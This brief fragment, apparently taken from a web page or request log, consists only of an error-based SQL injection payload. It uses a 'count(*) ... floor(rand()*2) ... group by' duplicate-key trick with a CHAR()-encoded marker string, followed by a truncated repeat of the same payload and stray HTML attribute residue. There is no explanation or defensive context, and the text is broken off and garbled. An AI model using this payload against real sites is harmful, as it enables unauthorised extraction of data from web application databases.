"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(97),CHAR(110),CHAR(101),CHAR(97),CHAR(100),CHAR(115),CHAR(101),CHAR(120)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"
(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(97),CHAR(110),CHAR(101),CHAR(97),CHAR(100),CHAR(115),CHAR(101),CHAR(120)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"" />